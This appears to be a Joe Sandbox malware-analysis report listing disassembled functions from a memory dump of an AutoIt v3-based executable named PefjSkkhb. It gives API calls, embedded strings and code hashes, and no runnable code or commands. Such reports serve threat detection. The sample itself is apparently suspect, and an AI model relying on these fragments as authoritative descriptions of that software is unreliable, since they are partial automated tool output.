Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
Instruction ID: a699a4cccd7c2bb4a9669bcb4c1377034287405929318401d6784e54d721e8ba
Opcode Fuzzy Hash: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
Instruction Fuzzy Hash: 9EF0FE74E0860281EA74AF28AC4C33963A0EF56BF5F545370D97F862ECDF6CA4995600

Function 00007FF697B47920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF697B45680: GetModuleFileNameW.KERNEL32(?,00007FF697B47A0C,?,?,?,00007FF697B4109E), ref: 00007FF697B4569F

Part of subcall function 00007FF697B63A38: GetFullPathNameW.KERNEL32(?,00007FF697B47A1B,?,?,?,00007FF697B4109E), ref: 00007FF697B63A5F

RegOpenKeyExW.KERNELBASE(?,?,?,00007FF697B4109E), ref: 00007FF697B47A75
RegQueryValueExW.ADVAPI32(?,?,?,00007FF697B4109E), ref: 00007FF697B8D081
RegQueryValueExW.ADVAPI32(?,?,?,00007FF697B4109E), ref: 00007FF697B8D0E9
RegCloseKey.ADVAPI32(?,?,?,00007FF697B4109E), ref: 00007FF697B8D138
wcscat.LIBCMT ref: 00007FF697B8D19E
wcscat.LIBCMT ref: 00007FF697B8D1CF

Strings

\Include\, xrefs: 00007FF697B47A1B
Software\AutoIt v3\AutoIt, xrefs: 00007FF697B47A64
Include, xrefs: 00007FF697B8D06F, 00007FF697B8D0D2

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: NameQueryValuewcscat$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\Include\
API String ID: 2667193904-1575078665
Opcode ID: 556029334d18f1e7f1a6bcd8ff6412e7b433a3d19d3476e5022d6bd965ae193f
Instruction ID: 718fb74faf7f7e73ede7a5ef689198ffae9e1eef17b4469444d662012ee471fa
Opcode Fuzzy Hash: 556029334d18f1e7f1a6bcd8ff6412e7b433a3d19d3476e5022d6bd965ae193f
Instruction Fuzzy Hash: 12912932A18A8399EB30EF24E8405B97364FF857D4F801176EA4D83AA9DF7CE645D740

Function 00007FF697B45DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32 ref: 00007FF697B45E76
KillTimer.USER32 ref: 00007FF697B45EB1
SetTimer.USER32 ref: 00007FF697B45ED9
RegisterWindowMessageW.USER32 ref: 00007FF697B45EE6
CreatePopupMenu.USER32 ref: 00007FF697B45EFC
PostQuitMessage.USER32 ref: 00007FF697B45F23

Strings

TaskbarCreated, xrefs: 00007FF697B45EDF

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
Instruction ID: e43b0517da2b87b5ecb7f939e2524de216e94379a49b9bcee20ca51b3bb11e4c
Opcode Fuzzy Hash: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
Instruction Fuzzy Hash: AF514A32E4CA4B85FB70AF28E9442B926A6EF46BC0F4405B1D44DC36E9DE6CF545A304

Function 00007FF697B43D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF697B43DE5
RegisterClassExW.USER32 ref: 00007FF697B43E16
RegisterWindowMessageW.USER32 ref: 00007FF697B43E2A
InitCommonControlsEx.COMCTL32 ref: 00007FF697B43E48
ImageList_Create.COMCTL32 ref: 00007FF697B43E63
LoadIconW.USER32 ref: 00007FF697B43E7C
ImageList_ReplaceIcon.COMCTL32 ref: 00007FF697B43E8F

Strings

AutoIt v3 GUI, xrefs: 00007FF697B43DF8
TaskbarCreated, xrefs: 00007FF697B43E1C

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-2659433951
Opcode ID: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction ID: bd166af33a82d22f191b30a2074a6a9b1432448a19f0e1b64f04f8c85e135ad0
Opcode Fuzzy Hash: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction Fuzzy Hash: F3313536A04B01CAE7209F61E8443AC37B5FB45B88F100179CA8D96B68DF7CE199CB80

Function 00007FF697B5E958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM ref: 00007FF697B5E9C3
OleUninitialize.OLE32 ref: 00007FF697B5EABF
UnregisterHotKey.USER32(?,?,?,00007FF697B5E939), ref: 00007FF697B5ECD9
DestroyWindow.USER32(?,?,?,00007FF697B5E939), ref: 00007FF697BA27E4

Strings

close all, xrefs: 00007FF697B5E9B7

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: DestroySendStringUninitializeUnregisterWindow
String ID: close all
API String ID: 1992507300-3243417748
Opcode ID: 898e7ad48959ea57d970830a0d3bf25c9db69e83af24dfb35c39e817a9ff6a77
Instruction ID: f431dd508f3e0f2b9a8be08fff4e1691c0404ebde578fa97919e0cf8a109f75c
Opcode Fuzzy Hash: 898e7ad48959ea57d970830a0d3bf25c9db69e83af24dfb35c39e817a9ff6a77
Instruction Fuzzy Hash: 7AE1FA36B09A4281EE68EF16D5512BC2360FF86FD4F5840B5DB0ED7299DF38E8629700

Function 00007FF697B43B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF697B43B9E
LoadCursorW.USER32 ref: 00007FF697B43BAE
LoadIconW.USER32 ref: 00007FF697B43BC3
LoadIconW.USER32 ref: 00007FF697B43BDC
LoadIconW.USER32 ref: 00007FF697B43BF5
LoadImageW.USER32 ref: 00007FF697B43C21
RegisterClassExW.USER32 ref: 00007FF697B43C85

Part of subcall function 00007FF697B43D90: GetSysColorBrush.USER32 ref: 00007FF697B43DE5
Part of subcall function 00007FF697B43D90: RegisterClassExW.USER32 ref: 00007FF697B43E16
Part of subcall function 00007FF697B43D90: RegisterWindowMessageW.USER32 ref: 00007FF697B43E2A
Part of subcall function 00007FF697B43D90: InitCommonControlsEx.COMCTL32 ref: 00007FF697B43E48
Part of subcall function 00007FF697B43D90: ImageList_Create.COMCTL32 ref: 00007FF697B43E63
Part of subcall function 00007FF697B43D90: LoadIconW.USER32 ref: 00007FF697B43E7C
Part of subcall function 00007FF697B43D90: ImageList_ReplaceIcon.COMCTL32 ref: 00007FF697B43E8F

Strings

AutoIt v3, xrefs: 00007FF697B43C3F

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: AutoIt v3
API String ID: 423443420-1704141276
Opcode ID: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction ID: 404ab7a43c47cbe52e73c42f8c4298d3e03ef8b9f45dd173ce464f394bc09292
Opcode Fuzzy Hash: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction Fuzzy Hash: 5B31013AA08B02CEF7609F51E8443AC37B5FB88B99F000079C98D93B68DF7D91958740

Function 00007FF697B87348 Relevance: 13.8, APIs: 9, Instructions: 272
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF697B87078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B870B9
Part of subcall function 00007FF697B87078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B87136
Part of subcall function 00007FF697B87078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF697B87187

CreateFileW.KERNELBASE ref: 00007FF697B87449
CreateFileW.KERNEL32 ref: 00007FF697B874A5
GetLastError.KERNEL32 ref: 00007FF697B874D9
GetFileType.KERNELBASE ref: 00007FF697B874EE
GetLastError.KERNEL32 ref: 00007FF697B874F8
CloseHandle.KERNEL32 ref: 00007FF697B8752B
CloseHandle.KERNEL32 ref: 00007FF697B87684
CreateFileW.KERNEL32 ref: 00007FF697B876BC
GetLastError.KERNEL32 ref: 00007FF697B876CB

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction ID: 5fa50cd9eb08f15cd5193c30bd2900b8033daeecf8ec607f87ad550f69642067
Opcode Fuzzy Hash: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction Fuzzy Hash: 9EC1B437B14A4686EB60CFA4D4413AC3761EB8ABA8F055275DE1E9B7D9DF38D015C300

Function 00007FF697B525BC Relevance: 12.4, APIs: 8, Instructions: 442
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 00007FF697B526DA
timeGetTime.WINMM ref: 00007FF697B528BC
PeekMessageW.USER32 ref: 00007FF697B529E3
TranslateMessage.USER32 ref: 00007FF697B52A23
DispatchMessageW.USER32 ref: 00007FF697B52A2D
PeekMessageW.USER32 ref: 00007FF697B52A47

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Message$Peek$DispatchInputStateTimeTranslatetime
String ID:
API String ID: 3249950245-0
Opcode ID: 7945bf9d5034aa0e7b8cfc4a286260ab0bd2e54431ccfa0ee28a6001e5c4815d
Instruction ID: c5cb81b86bb4a88deac8a6648ec2522a3e6af07c71e0530cb4a84c624e8d3a34
Opcode Fuzzy Hash: 7945bf9d5034aa0e7b8cfc4a286260ab0bd2e54431ccfa0ee28a6001e5c4815d
Instruction Fuzzy Hash: 7F226972A0968286EB748F25E4843FD37A1FB56BC8F5441B6DA5EC2699CF3CE485C700

Function 00007FF697B43CBC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32 ref: 00007FF697B43D0C
CreateWindowExW.USER32 ref: 00007FF697B43D5F
ShowWindow.USER32 ref: 00007FF697B43D75

Strings

AutoIt v3, xrefs: 00007FF697B43CC8
edit, xrefs: 00007FF697B43D18
d, xrefs: 00007FF697B43CF4

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Window$Create$Show
String ID: AutoIt v3$d$edit
API String ID: 2813641753-2600919596
Opcode ID: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction ID: fe7b4cfbfb9a5b769215098e66cf486621e2c1889a7871544f515a639ae13030
Opcode Fuzzy Hash: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction Fuzzy Hash: 6F211A76A28B41CBE760CF10F84936977B1FB89B99F114238D68D86658CFBDD185CB00

Function 00007FF697B47EC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF697B62D5C: MapVirtualKeyW.USER32(?,?,?,00007FF697B47FA5), ref: 00007FF697B62D8E
Part of subcall function 00007FF697B62D5C: MapVirtualKeyW.USER32(?,?,?,00007FF697B47FA5), ref: 00007FF697B62D9C
Part of subcall function 00007FF697B62D5C: MapVirtualKeyW.USER32(?,?,?,00007FF697B47FA5), ref: 00007FF697B62DAC
Part of subcall function 00007FF697B62D5C: MapVirtualKeyW.USER32(?,?,?,00007FF697B47FA5), ref: 00007FF697B62DBC
Part of subcall function 00007FF697B62D5C: MapVirtualKeyW.USER32(?,?,?,00007FF697B47FA5), ref: 00007FF697B62DCA
Part of subcall function 00007FF697B62D5C: MapVirtualKeyW.USER32(?,?,?,00007FF697B47FA5), ref: 00007FF697B62DD8

Part of subcall function 00007FF697B5EEC8: RegisterWindowMessageW.USER32 ref: 00007FF697B5EF76

GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF697B4106D), ref: 00007FF697B48209
OleInitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF697B4106D), ref: 00007FF697B4828F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF697B4106D), ref: 00007FF697B8D36A

Strings

AutoIt, xrefs: 00007FF697B47F46

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: AutoIt
API String ID: 1986988660-2515660138
Opcode ID: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction ID: 40269ed56bfebf581e8f93a7ec4a1b87fc5f4f6365abdc87647facef9e8823f5
Opcode Fuzzy Hash: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction Fuzzy Hash: B7C1C172E19B46CAE760DF14A8810B877BAFF957D0F5002BAD84DC2665EF7CA180C781

Function 00007FF697B472C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00007FF697B4739E
Shell_NotifyIconW.SHELL32 ref: 00007FF697B473AC
LoadStringW.USER32 ref: 00007FF697B8CE12

Strings

Line: , xrefs: 00007FF697B8CE52

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: IconLoadNotifyShell_Stringwcscpy
String ID: Line:
API String ID: 3135491444-1585850449
Opcode ID: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
Instruction ID: c3475be6e64172b737c54e955eae1093d0492ebacd1ba509ef9e560a50665592
Opcode Fuzzy Hash: 5074f82189a2094c4f41beacacc753a6552d6d2ec3054edcc5b8ee4ef305b935
Instruction Fuzzy Hash: 7B412172A086469AEB30DF24D4402E96362FB863C4F9450B1D64C8369EDE7CE645D740

Function 00007FF697B43F04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32 ref: 00007FF697B8BAA2

Part of subcall function 00007FF697B456D4: GetFullPathNameW.KERNEL32(?,00007FF697B456C1,?,00007FF697B47A0C,?,?,?,00007FF697B4109E), ref: 00007FF697B456FF

Part of subcall function 00007FF697B43EB4: GetLongPathNameW.KERNELBASE ref: 00007FF697B43ED8

Strings

Run Script:, xrefs: 00007FF697B8BA4D
AutoIt script files (*.au3, *.a3x), xrefs: 00007FF697B8BA74
au3, xrefs: 00007FF697B8BA80

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: AutoIt script files (*.au3, *.a3x)$Run Script:$au3
API String ID: 779396738-2360590182
Opcode ID: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction ID: 282c2aae5adb6acf5adbf3b8620dc6d7ba2ea894486c719f7b90b69f13205984
Opcode Fuzzy Hash: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction Fuzzy Hash: B0311872608B8289E720DF21E8441A977B9FB4ABC4F5841B5DE8C87B5ADF3CD545CB40

Function 00007FF697B64610 Relevance: 4.6, APIs: 3, Instructions: 67timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF697B472C8: wcscpy.LIBCMT ref: 00007FF697B4739E
Part of subcall function 00007FF697B472C8: Shell_NotifyIconW.SHELL32 ref: 00007FF697B473AC

KillTimer.USER32 ref: 00007FF697B646A8
SetTimer.USER32 ref: 00007FF697B646BD
Shell_NotifyIconW.SHELL32 ref: 00007FF697BAAAAD

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: IconNotifyShell_Timer$Killwcscpy
String ID:
API String ID: 3812282468-0
Opcode ID: 1dc440ecac87e2ff0ffd0982a4a0d0d2f1018b32bcde9ffe5d1424b8b2f1a591
Instruction ID: 09c34938914c35b64d12a520d0f488a309abec0769626abc3de2da06ecb988d2
Opcode Fuzzy Hash: 1dc440ecac87e2ff0ffd0982a4a0d0d2f1018b32bcde9ffe5d1424b8b2f1a591
Instruction Fuzzy Hash: 40319E72A08B8287EB759F21D1403BD7B99EB46FD8F1840B6DE4D87749CE2CD64487A0

Function 00007FF697B46F60 Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF697B46F52,?,?,?,?,?,?,00007FF697B4782C), ref: 00007FF697B46FA5
RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,00007FF697B46F52,?,?,?,?,?,?,00007FF697B4782C), ref: 00007FF697B46FD3
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,00007FF697B46F52,?,?,?,?,?,?,00007FF697B4782C), ref: 00007FF697B46FFA

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_7ff697b40000_PefjSkkhb.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction ID: 8fa29691e31723350034615a0d590bf70cd39f895ecbcbe7337c887a448caa1f
Opcode Fuzzy Hash: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction Fuzzy Hash: BB219D33A18B4187D7208F25E85496E73A5FB89BC4B441171EB8DC3B18DF39E814DB04

Function 00007FF697B69118 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF697B690FC), ref: 00007FF697B69140
TerminateProcess.KERNEL32(?,?,?,00007FF697B690FC), ref: 00007FF697B6914B
ExitProcess.KERNEL32 ref: 00007FF697B6915A

Memory Dump Source

Source File: 00000012.00000002.1599222120.00007FF697B41000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF697B40000, based on PE: true

Associated: 00000012.00000002.1599200559.00007FF697B40000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697BF5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599301625.00007FF697C18000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599368271.00007FF697C2A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000012.00000002.1599398429.00007FF697C34000.00000002.00000001.01000000.0000000F.sdmpDownload File

